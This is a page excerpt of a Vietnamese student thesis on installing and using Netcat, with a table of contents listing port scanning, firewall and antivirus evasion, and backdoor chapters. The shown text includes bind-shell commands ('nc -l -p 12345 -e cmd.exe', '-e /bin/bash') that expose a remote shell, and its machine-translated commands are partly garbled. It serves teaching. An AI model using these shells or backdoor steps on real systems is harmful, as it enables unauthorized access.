1. Trang chủ
  2. » Luận Văn - Báo Cáo

cài đặt và sử dụng công cụ netcat power tool

219 1,2K 2

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 219
Dung lượng 40,89 MB

Nội dung

Vì lợi ích của việc cài đặt này, và vì vậy chúng tôi có thể cài đặt Netcat mà không cần phải cấu hình bằng tay-e option, chúng tôi sẽ tải về, cấu hình và biên dịch các phiên bản GNU của

Trang 1

Trong suốt đề tài này, em sẽ trình bày về nội dung chủ yếu đó là cài đặt và sử dụng công cụ Netcat Power Tool, một cách chi tiết và gọn gẽ Để lấy được dữ liệu của mạng máy tính, và những tính năng tuyệt vời khác khi sử dụng công cụ Đó là một công cụ không thể thiếu của những hacker mới vào nghề và cả những hacker chuyên nghiệp Hack cũng có nghĩa là theo mục đích xấu, và Hack cũng có nghĩa là theo mục đích tốt Hack xấu ở mặt là lấy đi thông tin dữ liệu của người khác, Hack tốt ở mặt là giúp cho người đang quản lý giữ liệu biết được mình đang có lỗ hổng dữ liệu ở đâu Bên cạnh đó, cũng có những phương pháp để phòng trống, sơ hở dữ liệu và an toàn dữ liệu, để không bị hack mất Tìm hiểu được mặt tối và mặt sáng của công cụ Hack, đó cũng là niềm đam mê khi học Tin học của rất nhiều người.

Trang 2

LỜI CẢM ƠN

Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác Trong suốt thời gian từ khi bắt đầu học tập tại giảng đường đại học đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy cô, gia đình, bạn bè

Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy cô ở Khoa Công Nghệ Thông Tin – Trường Đại học Hải Phòng đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian học tập tại trường

Em xin chân thành cảm ơn TS Đào Ngọc Tú đã tận tâm hướng dẫn chúng em qua từng buổi học trên lớp cũng như những buổi nói chuyện, thảo luận về lĩnh vực mạng máy mạng Nếu không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bải Luận án này của em rất khó có thể hoàn thiện Một lần nữa, em xin chân thành cảm

ơn thầy Luận án được thực hiện trong khoảng thời gian gần 8 tuần

Bước đầu đi vào thực tế, tìm hiểu về lĩnh vực hack trong mạng máy tính, kiến thức của em còn hạn chế và còn nhiều bỡ ngỡ Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý thầy cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực mạng máy tính được hoàn thiện hơn

Trang 3

CHƯƠNG 1 : GIỚI THIỆU 10

1.1 Cài đặt 10

1.1.1 Cài đặt cửa sổ 11

1.1.2 Linux cài đặt 11

1.2 Installing Netcat from Source 12

1.3 Confirming Your Installatio n 13

1.4 Netcat’s Command Options 15

1.4.1 Phương thức hoạt động 15

1.5 Công cụ redirector 20

1.6 Hoạt động cơ bản 20

1.7 Giao diện trò chuyện đơn giản 20

1.8 Port Scanning 21

1.9 Chuyển tập tin ( Transferring Files ) 22

1.10 Banner Grabbing 23

1.11 Sử dụng khác 25

1.12 Tóm lược 25

1.12 Giải pháp Fast Track 26

1.12.1 Sự giới thiệu 26

1.12.2 Cài đặt 26

1.13 Hoạt động cơ bản 27

CHƯƠNG 2 NETCAT PENETRATION CÁC TÍNH NĂNG THỬ NGHIỆM 28

2.1 Sự giới thiệu 28

2.2 Port Scanning and Service Identification 28

2.3 Sử dụng Netcat như một Port Scanner 28

2.4 Banner Grabbing 29

2.5 Scripting Netcatđể xác định Nhiều biểu ngữ Web Server 30

2.6 Dịch vụ nhận dạng 31

2.7 Thử nghiệm Egress Firewall 32

2.8 Hệ thống B - Các hệ thống bên ngoài của Firewall 32

2.9 Hệ thống A - Các hệ thống b ên trong của Firewall 33

2.10 Tránh phát hiện trên một hệ thống Windows 34

Trang 4

2.11 Trốn tránh Windows XP /Windows 2003 Server Firewall 34

2.12 Làm Firewallngoại lệ sử dụng lệnh Netsh 35

2.13 Xác định trạng thái của Firewall 36

2.14 Trốn tránh phát hiện Antivirus 38

2.15 Biên dịch lại Netcat 38

2.16 Tạo một Netcat Backdoor trên Windows XP hoặc Windows 2003 Server 39

2.17 Phương thức kết nối Backdoor 40

2.18 Khởi đầu một kết nối trực tiếp đến các Backdoor 40

2.19 Khởi đầu một kết nối từ Backdoor 41

2.20 Phương pháp thi công Backdoor 42

2.21 Thực hiện các Backdoor sử dụng một dịch vụ Windows 43

2.22 Thực hiện các Backdoor sử dụng Windows Task Scheduler 45

2.23 Tóm tắt Execution Backdoor 47

2.24 Tóm lược 47

2.24.1 Giải pháp Fast Track 48

2.24.2 Thử nghiệm Egress Firewall 48

2.24.3 Tránh phát hiện trên một hệ thống Windows 48

2.24.4 Tạo một Netcat Backdoor trênWindows XP hoặc Windows 2003 Server 48

CHƯƠNG 3: ENUMERATION VÀ SCAN VỚI NETCAT VÀ NMAP 49

3.1 Sự giới thiệu 49

3.2 Mục tiêu 49

3.3 Tiếp cận 51

3.4 Quét (scanning) 51

3.5 Enumeration (điều tra) 52

3.6 Ghi chú và Tài liệu 52

3.7 Chủ động với thụ động 53

3.8 Moving On 53

3.9 Công nghệ cốt lõi 54

3.10 Làm thế nào qué t works 54

3.11 Cổng quét 55

3.12 Dịch vụ nhận dạng 58

Trang 5

3.14 Vân tay ( Fingerprinting ) 59

3.15 Loud, Quiet 60

3.15.1 Thời gian 60

3.15.2 Các vấn đề băng thông 61

3.15.3 Hình thành gói không bình thường 61

3.16 Công cụ mã nguồn mở 62

3.16.1 Quét 62

3.16.2 Nmap 62

3.17 Netenum: Ping Sweep 69

3.18 Unicornscan: Port Scan và Fuzzing 70

3.19 Scanrand: Port Scan 71

3.20 Enumeration 72

3.21 Netcat 73

3.22 P0f: Passive OS Fingerprinting 74

3.23 Xprobe2: OS Fingerprinting 75

3.24 Httprint 76

3.25 Ike-scan: Đánh giá VPN 77

3.26 Amap: phiên bản ứng dụng phát hiện 78

3.27 Cửa sổ liệt kê:Smbgetserverinfo / smbdumpusers / smbclient 79

CHƯƠNG 4: BANNER GRABBING VỚI NETCAT 82

4.1 Sự giới thiệu 82

4.2 Lợi ích của các banner 82

4.3 Lợi ích cho các chủ sở hữu máy chủ 83

4.4 Tìm kiếm các máy chủ trái phép 83

4.5 Lợi ích cho một Attacker Mạng 84

4.6 Banner Grabbing cơ bản 87

4.7 Máy chủ Web (HTTP) 87

4.8 Đối phó với biểu ngữ bị xáo trộn 90

4.9 Apache ServerTokens 92

4.10 File Transfer Protocol (FTP) Máy chủ 98

4.11 Máy chủ E-mail 102

4.12 Post Office Protocol (POP) Máy chủ 103

Trang 6

4.13 Simple Mail Transport Protocol (SMTP) server 104

4.14 Quay lại với banner Grabbing 105

4.15 Responses SMTP Fingerprinting máy chủ 106

4.15 Làm thế nào để sửa đổi Biểu ngữ E-mail của bạn 107

4.16 Sendmail Banners 107

4.17 Microsoft Exchange SMTP Banners 110

4.18 Microsoft Exchange POP và IMAP Banners 111

4.19 Secure Shell (SSH) Máy chủ 112

4.20 Ẩn các Banner SSH 113

4.21 Banner Nắm lấy với một Sniffer Packet 114

4.22 Tóm lược 118

4.23 Giải pháp Fast Track 121

CHƯƠNG 5: MẶT TỐI CỦA NETCAT 123

5.1 Sự giới thiệu 123

5.2 Sniffing dịch chuyển trong một hệ thống 124

5.3 Tripwire 126

5.4 Sniffing traffic mà không Di dời một Dịch vụ 129

5.5 Các cuộc tấn công đường hầm Rogue 133

5.6 Kết nối thông qua một hệ thống Pivot 136

5.7 Chuyển tập tin 140

5.8 Sử dụng Secure Shell 141

5.9 Sử dụng Redirection 142

5.10 Man-in-the-middle Attacks 144

5.11 Backdoors và Shell Shoveling 145

5.11.1 Backdoor 145

5.11.2 Shell Shoveling 146

5.12 Netcat trên Windows 150

5.13 Tóm lược 150

CHƯƠNG 6 TRANSFERRING FILES USING NETCAT 152

6.1 Sự giới thiệu 152

6.2 Khi sử dụng Netcat để chuyển tập tin 152

Trang 7

6.4 Lo ngại an ninh 153

6.5 Cài đặt phần mềm trên Windows Clients 154

6.6 Trường Netcat Shines 155

6.7 Tốc độ triển khai 155

6.8 Lén ( Stealth ) 156

6.9 Dấu chân nhỏ 157

6.10 Vận hành đơn giản 157

6.11 Thực hiện các tập tin chuyển cơ bản 158

6.12 Chuyển tập tin với Netcat gốc 158

6.13 Đóng Netcat Khi chuyển giao được hoàn thành 159

6.14 Tùy chọn và cân nhắc khác 160

6.15 Thời gian chuyển?,? Throughput,? Vv 161

6.16 Sử dụng Netcat biến thể 162

6.17 Cryptcat 163

6.18 SBD 165

6.19 SOCAT 166

6.20 Socat Khái niệm cơ bản 167

6.21 Chuyển tập tin với Socat 167

6.21 Encryption 168

6.22 Trộn và Matching 169

6.23 Đảm bảo tập tin mật 169

6.24 Sử dụng OpenSSH 170

6.25 Cài đặt và Cấu hình Secure Shell 171

6.26 Cấu hình OpenSSH Port Forwarding 173

6.27 Sử dụng SSL 174

6.28 Cấu hình Stunnel 174

6.29 Sử dụng IPsec 176

6.30 Cấu hình IPSec trên Windows 177

6.31 Cấu hình IPSec trên Linux 182

6.31 Đảm bảo tệp Integrity 186

6.32 Công cụ Hashing 187

6.33 Sử dụng Netcat Kiểm nghiệm 189

Trang 8

6.34 Kiểm tra băng thông 189

6.35 Thử nghiệm khả năng kết nối 190

6.36 Tóm lược 191

6.37 Giải pháp Fast Track 191

CHƯƠNG 7 GIẢI QUYẾT VẤN ĐỀ VỚI NETCAT 193

7.1 Sự giới thiệu 193

7.2 Quét một hệ thống 194

7.3 Kiểm tra mạng trễ 197

7.4 Sử dụng Netcat là mộtThính giả trên mục tiêu hệ thống của chúng tôi 198

7.5 Sử dụng một Pre-hiện tạiDịch vụ trên mục tiêuhệ thống của chúng tôi 200

7.6 Sử dụng một dịch vụ UDP 201

7.7 Sử dụng một dịch vụ TCP 201

7.8 Xử lý sự cố HTTP 203

7.9 Xử lý sự cố FTP 209

7.10 Khắc phục sự cố FTP Chuyển động Sử dụng Netcat 211

7.11 Khắc phục sự cố chuyển Passive FTP sử dụng Netcat 214

7.12 Tóm lược 216

KẾT LUẬN 218

DANH MỤC TÀI LIỆU THAM KHẢO 219

Trang 9

KÍ HIỆU CÁC CỤM TỪ VIẾT TẮT

TCP(Transmission Control Protocol) : Giao thức điều khiển truyền vận

IP (Internet Protocol) : Giao thức Liên mạng

NC NETCAT : Công Cụ Hack Netcat

HTTP (HyperText Transfer Protocol) : Giao thức truyền tải siêu văn bản

Trang 10

CHƯƠNG 1 : GIỚI THIỆU

Nguyên phát hành vào năm 1996, Netcat là một chương trình mạng được thiết

kế để đọc và ghi dữ liệu trên cả hai Transmission Control Protocol TCP và các kết nối User Datagram Protocol (UDP) bằng cách sử dụng bộ giao thức TCP / giao thức Internet (IP) Netcat thường được nhắc đến như một "con dao quân đội Thụy Sĩ" tiện ích, và vì lý do tốt Cũng giống như nhiều chức năng hữu ích của túi con dao quân đội Thụy Sĩ đáng kính, chức năng Netcat là hữu ích như là cả một chương trình độc lập và một công cụ back-end trong một loạt các ứng dụng Một số sử dụng nhiều Netcat bao gồm scanning, transferring files, grabbing banners, port listening và chuyển hướng, và nhiều nefariously , backdoor

Có một số cuộc tranh luận về nguồn gốc của tên Netcat, nhưng một trong những lời giải thích phổ biến hơn (và đáng tin cậy) là Netcat chỉ đơn giản là một phiên bản mạng của dễ bị tấn công bởi chương trình cat Cũng như cat đọc và ghi thông tin cho file, Netcat đọc và ghi thông tin qua kết nối mạng

Nguyên mã hoá cho UNIX, và mặc dù ban đầu không được duy trì một cách thường xuyên, Netcat đã được viết lại thành một số phiên bản và triển khai thực hiện

Nó đã được chuyển đến một số hệ điều hành, nhưng thường được thấy trên các bản phân phối khác nhau Linux cũng như Microsoft Windows

1.1 Cài đặt

Netcat là một chương trình khá đơn giản và nhỏ, nó không tự hỏi rằng cài đặt rất đơn giản, không phụ thuộc vào hệ điều hành mà bạn chọn Các cổng Windows của Netcat đi kèm đã được biên soạn dưới dạng nhị phân, vì vậy không có cài đặt đúng yêu cầu Như đã nói trước đây, có hai cách thông thường thi hành UNIX / Linux:

UNIX phiên bản gốc cũng như GNU Netcat Hầu như tất cả các phiên bản của UNIX / Linux sẽ đến với một trong những hiện thực của Netcat đã được biên dịch; Tuy nhiên, nó là hữu ích để biết làm thế nào để cài đặt nó nếu cần thiết Hơn nữa, tùy thuộc vào việc thực hiện cụ thể của bạn, bạn có thể cần phải lập lại Netcat để có được đầy đủ chức năng

Trang 11

1.1.1Cài đặt cửa sổ

Cài đặt Windows không thể nào dễ dàng hơn Đơn giản chỉ cần tải về các tập tin zip từ www.vulnwatch.org/netcat/nc111nt.zip Giải nén đến vị trí của sự lựa chọn của bạn, và bạn hoàn tất (xem Hình 1.1) Có một vài tập tin quan trọng để kiểm tra: hobbit.txt là tài liệu gốc,readme.txtlà một lời giải thích của một sửa chữa bảo mật từ phiên bản 1,10-1,11, vàlicense.txt là tiêu chuẩn GNU giấy phép công cộng chung

Figure 1.1 Netcat Installation Under Windows

1.1.2 Linux cài đặt

Nhiều chính bản phân phối Linux đi kèm với Netcat đã được biên dịch và cài đặt.Những người khác có ít nhất một hoặc nhiều phiên bản của Netcat có sẵn như là một gói phần mềm biên dịch trước

Để xác định phiên bản Netcat, chỉ cần gõnc -h hoặc lànetcat -h Bản gốcphiên

bản UNIX sẽ trả về một dòng phiên bản của[V1.10], trong khi phiên bản GNU sẽ trở lạiGNU Netcat 0.7.1, viết lại các công cụ mạng nổi tiếng Ngay cả khi Netcat đã được cài đặt trên hệ thống của bạn, bạn có thể không muốn bỏ qua phần này Nhiều cài đặt sẵn, tiền biên dịch, hoặc đóng gói phiên bản Netcat đi kèm với một bản phân phối Linux không được biên dịch với những gì được gọi là tùy chọn GAPING_SECURITY_HOLE (điều này cho phép Netcat để thực hiện chương trình với các–eoption) Đây là những thường sưu tập "an toàn" của mã nguồn Netcat gốc

Trang 12

Các phiên bản GNU của Netcat tự động biên dịch vớikích hoạt –eoption, vì vậy bằng cách cài đặt phiên bản này không có cấu hình bổ sung là cần thiết Mặc dù vậy, tất cả các chức năng khác của Netcat gốc vẫn còn nguyên vẹn Tất nhiên, thực hiện chương trình là những gì làm cho Netcat là một công cụ mạnh mẽ như vậy Hơn nữa, nhiều người trong các cuộc biểu tình trong cuốn sách này tận dụng lợi thế của các–eoption,

vì vậy bạn có thể muốn xem xét lại việc biên dịch nếu bạn muốn theo cùng

1.2 Installing Netcat from Source

Nếu bạn muốn biên dịch nó từ mã nguồn, bạn có hai lựa chọn Đầu tiên là bản gốc UNIX Netcat, có thể được tìm thấy tại www.vulnwatch.org/netcat Lựa chọn thứ hai của bạn là GNU Netcat, mà nằm ở netcat.sourceforge.net Sự khác biệt chính giữa hai phiên bản của Netcat là Netcat gốc đòi hỏi phải cấu hình bằng tay để biên dịch với các-e option, trong khi GNU Netcat có phải nó tự động cấu hình thủ công này là không phức tạp, nhưng có thể là khó khăn nếu bạn không sử dụng để nhìn vào mã nguồn

Nếu bạn là tương đối mới với Linux và biên soạn một chương trình từ mã nguồn có vẻ khó khăn Toàn bộ quá trình cài đặt rất đơn giản và dễ dàng, và mất tất cả chỉ một vài phút Vì lợi ích của việc cài đặt này, và vì vậy chúng tôi có thể cài đặt Netcat mà không cần phải cấu hình bằng tay-e option, chúng tôi sẽ tải về, cấu hình và biên dịch các phiên bản GNU của Netcat:

wget http://osdn.dl.sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz tar -xzf netcat-0.7.1.tar.gz cd netcat-0.7.1 /configure làm cho thực hiện cài đặt

Bước đầu tiên của bạn đối với cài đặt là tải về mã nguồn Bạn có thể chọn để sử

dụng đơn giản tiện ích dòng lệnhwget, như thể hiện trong hình 1.3, hoặc tải về thông

qua một trình duyệt Web hoặc các phương tiện khác

Figure 1 Downloading Netcat

Trang 13

Tiếp theo, un-tar kho lưu trữ và thay đổi vào thư mục Netcat mới được tạo ra Sau đó, cấu hình Netcat (xem Hình 1.4) Các kịch bản cấu hình tạo ra một tập tin cấu hình được gọi là Makefile.

1.3 Confirming Your Installation

Bất kể có hay không bạn chọn để cài đặt phiên bản Windows hoặc Linux của

Netcat, để xác nhận rằng Netcat được cài đặt một cách chính xác, gõ nc -h hoặc lànetcat -h để hiển thị màn hình giúp đỡ (xem hình 1.5 và 1.6) Nhận thấy có một vài

sự khác biệt trong các tùy chọn Trong phiên bản Windows, - L đại diện cho một chế

độ nghe liên tục (được mô tả sau), trong khi nó đại diện cho một chế độ đường hầm trong phiên bản Linux Ngoài ra, phiên bản Linux bao gồm-V (Chú ý chữ hoa), hiển thị thông tin phiên bản Cuối cùng, phiên bản Linux bao gồm-x (Hexdump giao thông vào và ra), mà không được bao gồm trong phiên bản Windows, nhưng được gợi ý trong-o option

Trang 14

Figure 1 Netcat Installed in Windows

Trang 15

1.4 Netcat’s Command Options

Trong phần này, chúng ta sẽ nói về hai chế độ khác nhau của Netcat hoạt động, cũng như một số các tùy chọn phổ biến nhất

1.4.1 Phương thức hoạt động

Netcat có hai chế độ chính của hoạt động, như mộtkhách hàng, và như là mộtmáy chủ Hai dòng đầu tiên của màn hình giúp đỡ trong hình 1.5 (bên dưới thông tin phiên bản) giải thích cú pháp thích hợp cho mỗi người trong các chế độ:

connect to somewhere: nc [-options] hostname port[s] [ports] … listen for inbound: nc –l –p port [options] [hostname] [port]

connect to somewherechỉ ra cú pháp của chế độ client Netcat Thông thường,

bạn đang sử dụng Netcat là một khách hàng trên máy tính của bạn để có được một số loại thông tin từ máy khác

Listen for inboundchỉ ra cú pháp của chế độ máy chủ Netcat Chú ý-l

Switch, trong đó đặt Netcat vào chế độ lắng nghe Trong trường hợp này, bạn

đang thiết lập Netcat để lắng nghe cho một kết nối đến Netcat không thực sự quan tâm chế độ nào nó sử dụng, và sẽ làm hầu hết bất cứ điều gì bạn yêu cầu của nó trong cả hai chế độ

Tùy chọn lệnh phổ biến

Trong phần này chúng ta sẽ nói về các tùy chọn phổ biến nhất mà bạn có thể sẽ thấy được sử dụng trong các hoạt động cơ bản của Netcat Với một vài trường hợp ngoại lệ (được mô tả trước đây và ghi nhận cụ thể trong văn bản), các tùy chọn này là như nhau cho cả hai phiên bản Windows và Linux Vui lòng tham khảo các chương riêng trong sách này cho sử dụng nâng cao hơn các tùy chọn Netcat của tùy thuộc vào

những gì bạn đang cố gắng để thực hiện Hãy nhớ rằng-l option sẽ quyết định phương thức hoạt động của Netcat Lệnhnc –l sẽ đặt Netcat vào máy chủ hoặc chế độ lắng nghe, vànc sẽ chạy Netcat ở chế độ khách hàng.

Các tùy chọn có sẵn đầu tiên,-c, Lệnh Netcat đóng cửa ở cuối tập tin (EOF) từ

đầu vào chuẩn (stdin) Tùy chọn này chỉ có sẵn trong các phiên bản Linux.Tùy chọn

tiếp theo Netcat là -d Chuyển đổi này cho phép Netcat được tách ra từ bàn điều

khiển và chạy ở chế độ nền Điều này đặc biệt hữu ích nếu bạn không muốn Netcat để

mở ra một cửa sổ giao diện điều khiển (đặc biệt là nếu một người nào đó có thể được xem) Lưu ý rằng tùy chọn này chỉ có sẵn trong các phiên bản Windows

Trang 16

Tùy chọn mạnh mẽ nhất Netcat là chắc chắnprog -e Tùy chọn này, chỉ có trong

chế độ máy chủ, cho phép Netcat để thực thi một chương trình quy định khi một khách

hàng kết nối với nó Hãy xem xét các lệnh sau: nc -l -p 12345 -e cmd.exe (Windows)

nc -l -p 12345 -e / bin / bash (Linux)

Cả hai lệnh cơ bản làm điều tương tự, nhưng trên các hệ thống khác nhau Lệnh đầu tiên thực hiện Netcat ở chế độ máy chủ trên cổng 12345 địa phương, và sẽ thực hiệncmd.exe (Windows shell lệnh) khi một khách hàng kết nối với nó Lệnh thứ hai nó chính xác những điều tương tự, ngoại trừ việc nó thực thi một shell bash trong Linux

Để kiểm tra tùy chọn này, bắt đầu Netcat ở chế độ máy chủ (Hình 1.7):

Bắt đầu từ Netcat ở chế độ máy chủ (Windows)

Figure 1.7 Starting Netcat in Client Mode (Windows to Windows)

Figure 1.8Starting Netcat in Client Mode (Windows to Windows)

Figure 1.9 Starting Netcat in Client Mode (Windows to Linux)

Sau khi bạn nhấn enter, bạn sẽ được chào đón với những thông tin biểu ngữ Microsoft và một dấu nhắc lệnh mới Điều này có vẻ tượng, nhưng làm cho không có sai lầm về nó: bạn đang chạy nhắc lệnh này thông qua Netcat Nếu bạn đang chạy Netcat qua mạng thay vì trên cùng một máy tính, bạn sẽ có quyền truy cập trực tiếp vỏ trên máy chủ Kiểulối thoát tại dấu nhắc, và bạn sẽ thấy rằng các máy chủ Netcat đóng

Trang 17

Để bắt đầu Netcat ở chế độ máy chủ trên một loại hộp Linux gõ nc -l -p 12345 -e / bin / bash.

Bây giờ mở một dấu nhắc lệnh trong Windows và bắt đầu Netcat ở chế độ khách hàng (xem Hình 1.9)

Không giống như khi chúng ta kết nối với Windows, Linux bash shell không

vang vọng bất kỳ ký tự để màn hình của bạn Hãy thử sử dụng uname –a để hiển thị

các thông tin hệ thống Trong trường hợp này, nó khẳng định chúng ta đang kết nối với một hộp Linux vì nó chấp nhận một lệnh Linux phổ biến Hơn nữa, nó trở về hệ thống thông tin liên quan: tên kernel và phiên bản, thông tin xử lý, và vv

Các-g và-G tùy chọn cho phép bạn cấu hình Netcat để sử dụng dữ liệu định tuyến Trong định tuyến nguồn, người gửi chỉ rõ con đường mà một gói tin di chuyển thông qua một mạng lưới Vì hầu hết các router chặn các gói tin từ nguồn chuyển, tùy chọn này là nhiều hay ít lỗi thời

Như chúng ta đã thấy, màn hình trợ giúp sẽ được hiển thị với–h switch Để thiết lập một khoảng thời gian trễ (giữa dòng gửi hoặc cổng quét), sử dụng- i option.

Điều này có thể hữu ích cho việc quét các cổng nếu tốc độ hạn chế là gặp phải

Để đặt Netcat ở chế độ lắng nghe, hoặc như chúng ta đã gọi nó là trong chương,

chế độ máy chủ này, sử dụng-l option Thông thường, Netcat là một chương trình duy

nhất sử dụng Nói cách khác, một khi kết nối đóng, Netcat đóng cửa và không còn có

sẵn Tuy nhiên các-L option mở lại Netcat với dòng lệnh tương tự sau khi các kết nối

ban đầu đã đóng:

nc -l -p 12345 -e cmd.exe -L

Kết nối để dụ này của Netcat sẽ mở một shell lệnh cho khách hàng Thoát khỏi

rằng lệnh shell sẽ đóng kết nối, nhưng-L option sẽ mở nó lên một lần nữa.

Để cho phép số-chỉ có địa chỉ IP và không có đảo ngược tra cứu, sử dụng -n option Nó cũng rất hữu ích để biết những gì Netcat sẽ làm gì nếu bạn đừngbao gồm các-n option Không có-n (Và giả sử bạn đã bao gồm-v switch), Netcat sẽ hiển thị phía

trước và ngược tên và tra cứu địa chỉ cho các máy chủ định Chúng ta hãy xem một ví

dụ Trong hình 1.10, chúng tôi đã bao gồm các -n option:

Figure 1.10 Netcat with the –n Option

Trang 18

với-n option kích hoạt, Netcat chỉ chấp nhận một địa chỉ IP dạng số và hiện không có tra cứu ngược lại So sánh với các dòng lệnh tương tự, mà không cho phép -n (Hình 1.11):

Figure 1.11 Netcat without the –n Option

Nếu không có-n option, Netcat hiện một tra cứu ngược lại và cho chúng ta biết

rằng địa chỉ IP được chỉ định thuộc về Google Nó không phải là không phổ biến cho Netcat để hiển thị cảnh báo khi làm phía trước hoặc ngược Domain Name System (DNS) tìm kiếm.Những cảnh báo này thường liên quan đến khả năng của bản ghi DNS không phù hợp

Để làm một hex dump của giao dịch Netcat vào một tập tin, sử dụng–o filename option.

Để xác định trên cổng vào (máy chủ) máy địa phương Netcat nên lắng nghe, sử

dụng-p port switch: nc –l –p 12345

Trong ví dụ này, Netcat được chạy trong chế độ máy chủ và lắng nghe các kết nối đến trên cổng 12345

Netcat cũng có thể quét các cổng ở chế độ khách hàng Bạn có thể chỉ định nhiều hơn một cổng (cách nhau bằng dấu phẩy), dao động (bao gồm tất cả), hoặc thậm

chí chung tên cổng Khi xác định số cổng của một máy chủ trong chế độ khách

hàng,-p ohàng,-ption là không cần thiết Đơn giản chỉ cần liệt kê tên máy theo sau là số cổng (s)

hoặc phạm vi Nếu bạn chỉ định một loạt các cổng, Netcat bắt đầu ở đầu trang và các công trình phía dưới cùng Vì vậy, nếu bạn yêu cầu Netcat để quét cổng 20-30, nó sẽ bắt đầu từ 30 và làm việc ngược đến 20

Để ngẫu nhiên cổng, sử dụng-r option Nếu bạn đang sử dụng Netcat để quét các cổng,-rsẽ cho phép Netcat để quét một cách ngẫu nhiên như trái ngược với đầu

Trang 19

tiêu chuẩn để tiếp cận dưới Hơn nữa,-rcũng sẽ ngẫu nhiên cổng nguồn địa phương của

bạn trong chế độ máy chủ

Chúng tôi có thể sử dụng-S optionđể thay đổi địa chỉ nguồn của một gói tin, đó

là hữu ích cho cách giả mạo địa điểm xuất xứ Đây là một lệnh có tính hữu dụng đã xuống cấp theo thời gian do các bộ định tuyến thông minh hơn mà thả các gói tin như vậy Sự hạn chế rõ ràng khác là trả lời được gửi đến địa chỉ giả mạo thay vì vị trí đúng

Để cấu hình Netcat để trả lời các cuộc đàm phán Telnet, sử dụng các máy chủ

cụ thể lệnh -t Nói cách khác, Netcat có thể được thiết lập như một máy chủ Telnet đơn

giản Hãy xem xét các lệnh sau đây:

nc -l -p 12345 -e cmd.exe -t

Lưu ý rằng các lệnh trước đó là đặc trưng cho một máy chủ Netcat chạy trên Windows Nếu ví dụ máy chủ của bạn của Netcat đang chạy trong Linux, bạn muốn

thực hiện/ Bin / bash thay vìcmd.exe.

Sử dụng Netcat, Telnet, hoặc bất kỳ khách hàng như PuTTY để kết nối đến máy chủ này, và bạn sẽ có quyền truy cập shell thông qua Telnet

VỚICÁC UDP chứ không phải là TCP mặc định được cấu hình với–u switch

Kể từ UDP là một giao thức kết nối, nó được khuyến khích mà bạn sử dụng timeout với tùy chọn này

Các-v option, phổ biến đến nhiều chương trình dòng lệnh, điều khiển rườm rà,

hoặc số lượng thông tin được hiển thị cho người dùng Trong khi bạn có thể chạy Netcat hoàn toàn không có tùy chọn này, Netcat sẽ chạy âm thầm và chỉ cung cấp cho bạn thông tin nếu có lỗi xảy ra Một lần nữa, như với nhiều chương trình khác, bạn có thể tăng mức rườm rà với nhiều hơn mộtv (cả-v -v hoặc là-vv sẽ làm việc)

Hãy lưu ý rằng trong các phiên bản GNU Linux,-V hiển thị thông tin phiên bản

và sau đó thoát ra.Sử dụng–w secs để thiết lập thời gian chờ mạng không hoạt động

Tùy chọn này rất hữu ích cho các kết nối đóng cửa khi máy chủ không làm điều đó tự động, và để tăng tốc các yêu cầu của bạn Một thời gian thông thường là 3 giây

Đầu vào bằng chế độ / đầu ra được chỉ định bởi các–z switch Tùy chọn này được sử dụng chủ yếu cho việc scan cổng Khi–z là option, Netcat sẽ không gửi bất kỳ

dữ liệu vào một kết nối TCP, và sẽ gửi dữ liệu chỉ giới hạn trong một kết nối UDP

Trang 20

Một công cụ hữu ích redirector là pine (|), cho phép đầu ra từ một lệnh để phục

vụ như là đầu vào cho một lệnh thứ hai (và do đó trên) Các quá trình này cùng nhau tạo thành một " pipeline" Một số lệnh phổ biến thường được sử dụng với Netcat là cat (gửi một tập tin), echo, và tar (nén và gửi một thư mục) Bạn thậm chí có thể chạy Netcat hai lần để thiết lập một relay Có thực sự không có giới hạn các khả năng

1.6 Hoạt động cơ bản

Trong phần còn lại của chương này, chúng ta sẽ khám phá một số các hoạt động

cơ bản của Netcat

1.7 Giao diện trò chuyện đơn giản

Chúng tôi đã nói ngay từ đầu rằng Netcat là một chương trình mạng được thiết

kế để đọc và ghi dữ liệu qua kết nối Có lẽ cách dễ nhất để hiểu cách làm việc này chỉ đơn giản là thiết lập một máy chủ và máy khách Bạn có thể thiết lập cả hai trên cùng một máy tính, hoặc sử dụng hai máy tính khác nhau Vì lợi ích của chứng minh này, chúng ta sẽ bắt đầu cả máy chủ và máy khách trên cùng một giao diện Trong một cửa

sổ thiết bị đầu cuối, bắt đầu máy chủ:

nc -l -p 12345

Trang 21

nc localhost 12345

Kết quả là một giao diện chat rất cơ bản (xem hình 1.12) Văn bản nhập vào một bên của kết nối đơn giản chỉ được gửi đến phía bên kia của kết nối khi bạn nhấn vào Chú ý không có gì để chỉ ra nguồn gốc của văn bản là, chỉ có đầu ra được in

Figure 1.12Sending Data Across a Connection

1.8 Port Scanning

Mặc dù nó không nhất thiết phải là lựa chọn tốt nhất cho việc quét cổng (Nmap được coi là kem của cây trồng), Netcat có một số sơ bộ khả năng quét cổng Là hãng phát triển BackTrack Mati Aharoni đã nói, "Nó không phải luôn luôn là công cụ tốt nhất cho công việc, nhưng nếu tôi đã bị mắc kẹt trên một hòn đảo, tôi muốn lấy Netcat với tôi." Tôi đoán rằng nhiều người, cho sự lựa chọn chỉ có một công cụ, cũng sẽ chọn Netcat

Port scanning với Netcat xảy ra trong chế độ client Cú pháp như sau: : nc –[options] hostname [ports]

Các tùy chọn phổ biến nhất liên quan đến chức năng quét cổng là–w (Không hoạt động thời gian chờ mạng) và-z, Cả hai đều có thể giúp tăng tốc độ quét của bạn khả năng khác là-i (Bộ một khoảng thời gian trễ giữa cổng scan),-n (Ngăn tra cứu DNS), và-r (Quét cổng ngẫu nhiên) Xem hình 1,13 cho một ví dụ.

